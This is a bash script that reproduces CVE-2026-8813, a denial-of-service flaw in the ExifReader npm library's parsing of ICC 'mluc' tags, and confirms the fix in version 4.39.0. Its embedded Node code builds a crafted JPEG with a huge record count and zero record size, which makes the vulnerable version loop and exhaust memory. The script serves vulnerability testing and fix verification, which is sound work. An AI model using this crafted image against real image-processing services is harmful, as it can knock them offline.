#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO="$ROOT/repro"
TMP="$REPRO/tmp"
mkdir -p "$LOGS" "$TMP"

cd "$ROOT"

# Trap to clean up background processes
cleanup() {
    rm -rf "$TMP"
}
trap cleanup EXIT

echo "=== CVE-2026-8813 Reproduction Script ==="
echo "Testing ExifReader ICC mluc tag parsing vulnerability"
echo ""

# Install vulnerable and fixed versions
VULN_DIR="$TMP/vuln"
FIX_DIR="$TMP/fix"
mkdir -p "$VULN_DIR" "$FIX_DIR"

echo "[1/4] Installing exifreader@4.38.1 (vulnerable)..."
cd "$VULN_DIR"
npm install exifreader@4.38.1 --silent 2>&1 | tee "$LOGS/npm_install_vuln.log" >/dev/null

echo "[2/4] Installing exifreader@4.39.0 (fixed)..."
cd "$FIX_DIR"
npm install exifreader@4.39.0 --silent 2>&1 | tee "$LOGS/npm_install_fix.log" >/dev/null

cd "$ROOT"

# Create the malicious image
NODE_CREATE_IMAGE="$TMP/create_image.js"
cat > "$NODE_CREATE_IMAGE" << 'IMGEOF'
const fs = require('fs');

// Build a minimal ICC profile with a malicious mluc tag
const ICC_SIZE = 180;
const iccProfile = Buffer.alloc(ICC_SIZE);
iccProfile.writeUInt32BE(ICC_SIZE, 0);          // Profile size
iccProfile.write('acsp', 36, 'ascii');           // Signature at offset 36
iccProfile.writeUInt32BE(1, 128);                // Tag count = 1

// Tag table entry at offset 132: signature, offset, size
iccProfile.write('desc', 132, 'ascii');          // Tag signature
iccProfile.writeUInt32BE(144, 136);              // Tag data offset = 144
iccProfile.writeUInt32BE(36, 140);               // Tag data size = 36

// mluc tag data at offset 144
iccProfile.write('mluc', 144, 'ascii');          // Tag type
iccProfile.writeUInt32BE(0, 148);                // Reserved
iccProfile.writeUInt32BE(10000000, 152);         // numRecords = 10,000,000 (large)
iccProfile.writeUInt32BE(0, 156);                // recordSize = 0 -> infinite loop!

// Dummy record data at offset 160 (read repeatedly because recordSize=0)
iccProfile.write('en', 160, 'ascii');            // languageCode
iccProfile.write('US', 162, 'ascii');            // countryCode
iccProfile.writeUInt32BE(4, 164);                // textLength = 4
iccProfile.writeUInt32BE(16, 168);               // textOffset = 16 -> points to 144+16=160

// Build minimal JPEG wrapping the ICC profile
const app0Jfif = Buffer.from([
    0xFF, 0xE0,             // APP0 marker
    0x00, 0x10,             // length = 16
    0x4A, 0x46, 0x49, 0x46, 0x00, // "JFIF\0"
    0x01, 0x01,             // version
    0x00,                   // units
    0x00, 0x00,             // X density
    0x00, 0x00,             // Y density
    0x00, 0x00              // thumbnail size
]);

const app2IccHeader = Buffer.from([
    0xFF, 0xE2,             // APP2 marker
    0x00, 0xC4,             // length = 196 (180 + 16)
    0x49, 0x43, 0x43, 0x5F, 0x50, 0x52, 0x4F, 0x46, 0x49, 0x4C, 0x45, 0x00, // "ICC_PROFILE\0"
    0x01,                   // chunk number
    0x01                    // chunk total
]);

const jpeg = Buffer.concat([
    Buffer.from([0xFF, 0xD8]), // SOI
    app0Jfif,
    app2IccHeader,
    iccProfile,
    Buffer.from([0xFF, 0xD9])   // EOI
]);

const outPath = process.argv[2];
fs.writeFileSync(outPath, jpeg);
console.log(`Wrote ${jpeg.length} bytes to ${outPath}`);
IMGEOF

MALICIOUS_IMAGE="$TMP/malicious.jpg"
node "$NODE_CREATE_IMAGE" "$MALICIOUS_IMAGE"

# Create test runner script
NODE_TEST="$TMP/test_version.js"
cat > "$NODE_TEST" << 'TESTEOF'
const ExifReader = require('exifreader');
const fs = require('fs');

const imagePath = process.argv[2];
const data = fs.readFileSync(imagePath);

const startTime = Date.now();
const startMem = process.memoryUsage().rss;

try {
    const tags = ExifReader.load(data);
    const endTime = Date.now();
    const endMem = process.memoryUsage().rss;
    const deltaMemMB = ((endMem - startMem) / 1024 / 1024).toFixed(2);
    const durationMs = endTime - startTime;
    console.log(`SUCCESS duration_ms=${durationMs} delta_rss_mb=${deltaMemMB}`);
    // If ICC signature parsed, include it
    if (tags && tags.icc && tags.icc['ICC Signature']) {
        console.log(`ICC_SIGNATURE=${tags.icc['ICC Signature'].value}`);
    }
    process.exit(0);
} catch (err) {
    const endTime = Date.now();
    const endMem = process.memoryUsage().rss;
    const deltaMemMB = ((endMem - startMem) / 1024 / 1024).toFixed(2);
    const durationMs = endTime - startTime;
    console.log(`ERROR duration_ms=${durationMs} delta_rss_mb=${deltaMemMB} message=${err.message}`);
    process.exit(1);
}
TESTEOF

echo "[3/4] Testing vulnerable version (4.38.1)..."
VULN_RESULT=0
timeout 10 bash -c "NODE_PATH='$VULN_DIR/node_modules' node --max-old-space-size=128 '$NODE_TEST' '$MALICIOUS_IMAGE'" > "$LOGS/vuln_out.txt" 2>&1 || VULN_RESULT=$?

echo "  Exit code: $VULN_RESULT"
cat "$LOGS/vuln_out.txt"
echo ""

echo "[4/4] Testing fixed version (4.39.0)..."
FIX_RESULT=0
timeout 10 bash -c "NODE_PATH='$FIX_DIR/node_modules' node --max-old-space-size=128 '$NODE_TEST' '$MALICIOUS_IMAGE'" > "$LOGS/fix_out.txt" 2>&1 || FIX_RESULT=$?

echo "  Exit code: $FIX_RESULT"
cat "$LOGS/fix_out.txt"
echo ""

# Analyze results
echo "=== Results Analysis ==="

# Vulnerable should fail (OOM or timeout -> exit 124 or non-zero)
VULN_CONFIRMED=false
if [ "$VULN_RESULT" -ne 0 ]; then
    VULN_CONFIRMED=true
    echo "VULNERABLE (4.38.1): CONFIRMED bug - process failed or timed out (exit $VULN_RESULT)"
else
    # Even if exit 0, check memory usage
    VULN_MEM=$(grep -oP 'delta_rss_mb=\K[0-9.]+' "$LOGS/vuln_out.txt" || echo "0")
    if awk "BEGIN {exit !($VULN_MEM > 50)}"; then
        VULN_CONFIRMED=true
        echo "VULNERABLE (4.38.1): CONFIRMED bug - excessive memory growth (${VULN_MEM} MB)"
    else
        echo "VULNERABLE (4.38.1): NOT confirmed - low memory (${VULN_MEM} MB) and exit 0"
    fi
fi

# Fixed should succeed quickly with low memory
FIX_CONFIRMED=false
if [ "$FIX_RESULT" -eq 0 ]; then
    FIX_MEM=$(grep -oP 'delta_rss_mb=\K[0-9.]+' "$LOGS/fix_out.txt" || echo "999")
    FIX_DUR=$(grep -oP 'duration_ms=\K[0-9]+' "$LOGS/fix_out.txt" || echo "99999")
    if awk "BEGIN {exit !($FIX_MEM < 50 && $FIX_DUR < 5000)}"; then
        FIX_CONFIRMED=true
        echo "FIXED (4.39.0): CONFIRMED fix - completed quickly (${FIX_DUR} ms, ${FIX_MEM} MB)"
    else
        echo "FIXED (4.39.0): NOT confirmed - high memory (${FIX_MEM} MB) or slow (${FIX_DUR} ms)"
    fi
else
    echo "FIXED (4.39.0): NOT confirmed - process failed (exit $FIX_RESULT)"
fi

if [ "$VULN_CONFIRMED" = true ] && [ "$FIX_CONFIRMED" = true ]; then
    echo ""
    echo "=== VERDICT: CVE-2026-8813 successfully reproduced and fix verified ==="
    exit 0
else
    echo ""
    echo "=== VERDICT: Reproduction inconclusive ==="
    exit 1
fi
